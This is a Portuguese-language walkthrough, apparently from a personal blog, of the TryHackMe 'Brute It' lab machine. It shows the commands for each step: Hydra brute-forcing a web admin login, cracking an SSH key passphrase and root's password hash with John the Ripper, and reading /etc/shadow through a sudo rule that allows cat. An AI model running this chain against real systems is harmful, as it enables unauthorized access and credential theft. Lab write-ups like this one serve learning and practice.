680 palavras
3 minutos
TryHackMe - Brute It

TryHackMe - Brute It#

NOTE

Resumo da Máquina

  • IP: 10.201.48.203
  • SO: Ubuntu Linux
  • Vetor de Ataque: Brute force em painel de administração web, revelando uma chave SSH privada. A senha da chave foi quebrada, e a escalação de privilégios foi obtida explorando uma permissão inadequada no sudo que permitia a leitura do arquivo /etc/shadow.

Tags: #ctf #walkthrough #tryhackme #nmap #gobuster #hydra #ssh #john #privesc #sudo

1. Reconhecimento e Enumeração#

O primeiro passo, como sempre, é realizar um reconhecimento completo do alvo para identificar vetores de ataque em potencial.

1.1. Varredura com Nmap#

Utilizei o Nmap com a flag -sV para detectar as versões dos serviços em execução nas portas abertas.

Terminal window
nmap -sV 10.201.48.203

Resultado:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 18:40 -03
Nmap scan report for 10.201.48.203
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TIP

Pontos de Interesse Encontrados:

  • Porta 22: SSH (OpenSSH 7.6p1)
  • Porta 80: HTTP (Apache httpd 2.4.29)

1.2. Enumeração de Diretórios Web#

Com um servidor Apache rodando, o próximo passo foi buscar por diretórios e páginas ocultas. Utilizei o GoBuster para essa tarefa.

Terminal window
gobuster dir -u http://10.201.48.203/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

O GoBuster rapidamente identificou um diretório promissor: /admin.

2. Acesso Inicial#

A fase de acesso inicial focou em explorar o painel de administração encontrado na porta 80.

2.1. Análise do Painel de Administração#

Ao acessar http://10.201.48.203/admin, encontrei uma página de login. Inspecionando o código-fonte da página, uma dica crucial foi revelada em um comentário HTML.

Isso confirmou dois nomes de usuário em potencial: john e admin. O formulário indicava que admin era o usuário do painel.

2.2. Brute Force com Hydra#

Sabendo o nome de usuário (admin) e a URL do formulário, realizei um ataque de força bruta com o Hydra para descobrir a senha.

Terminal window
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.48.203 http-post-form "/admin/:user=^USER^&pass=^PASS^:Username or password invalid"

Resultado:

[80][http-post-form] host: 10.201.48.203 login: admin password: xavier
IMPORTANT

As credenciais do painel de administração foram descobertas: admin:xavier

2.3. Obtendo e Quebrando a Chave SSH#

Após o login no painel com as credenciais encontradas, a página revelou uma chave SSH privada, provavelmente pertencente ao usuário john. A chave estava protegida por uma senha (passphrase).

Para obter acesso, precisei quebrar essa senha usando o John the Ripper.

  1. Salvar a chave em um arquivo chamado id_rsa.
  2. Extrair o hash da chave usando ssh2john.
    Terminal window
    ssh2john id_rsa > hash.txt
  3. Quebrar o hash com o john e a wordlist rockyou.txt.
    Terminal window
    john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    Resultado:
    Using default input encoding: UTF-8
    Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
    ...
    rockinroll (id_rsa)
    ...
    Session completed.
IMPORTANT

A senha da chave SSH de John foi descoberta: rockinroll

2.4. Obtendo Acesso e Capturando a Flag do Usuário#

Com a chave privada (id_rsa), o nome de usuário (john) e a senha da chave (rockinroll), o acesso via SSH foi possível.

  1. Ajustar as permissões da chave privada.
    Terminal window
    chmod 600 id_rsa
  2. Conectar-se via SSH.
    Terminal window
    ssh -i id_rsa john@10.201.48.203

Após inserir a senha rockinroll, o acesso ao shell como usuário john foi concedido. Com isso, foi simples capturar a flag do usuário.

Terminal window
john@bruteit:~$ ls
user.txt
john@bruteit:~$ cat user.txt
IMPORTANT

user.txt: thm{...user_flag...}

3. Escalação de Privilégios#

Com acesso como john, o próximo passo foi escalar os privilégios para root.

3.1. Identificando o Vetor (sudo)#

A primeira e mais importante verificação foi checar as permissões sudo do usuário john.

Terminal window
john@bruteit:~$ sudo -l

Resultado:

User john may run the following commands on bruteit:
(root) NOPASSWD: /bin/cat

Esta foi a descoberta crítica. O usuário john pode executar o comando /bin/cat como root e sem precisar de senha. Isso permite a leitura de qualquer arquivo no sistema.

3.2. Exploração e Quebra da Senha Root#

A estratégia foi usar essa permissão para ler o arquivo /etc/shadow, que contém os hashes das senhas de todos os usuários.

  1. Ler o conteúdo do /etc/shadow como root.
    Terminal window
    sudo cat /etc/shadow
  2. Copiar o hash da senha do usuário root.
    root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
  3. Salvar o hash em um arquivo (hash_root.txt) na máquina local e usar o John the Ripper para quebrá-lo.
    Terminal window
    john --wordlist=/usr/share/wordlists/rockyou.txt hash_root.txt
    Resultado:
    ...
    football (root)
    ...
    Session completed.
IMPORTANT

A senha do usuário root foi descoberta: football

3.3. Obtendo Acesso Root e Capturando a Flag#

Com a senha do root em mãos, bastou usar o comando su para se tornar o superusuário.

Terminal window
john@bruteit:~$ su -
Password:
root@bruteit:~#

Após digitar a senha football, o acesso root foi obtido. A etapa final foi ler a flag.

Terminal window
root@bruteit:~# cat /root/root.txt
IMPORTANT

root.txt: thm{...user_flag...}

Compartilhar Artigo
TryHackMe - Brute It
https://felinux0x.github.io/posts/tryhackme-bruteit/
Autor
Felps
Publicado em
2025-09-06
Licença
CC BY-NC-SA 4.0
felps@offsec — bash — 120×30 Ctrl+K to toggle · ESC to close
felps@offsec:~#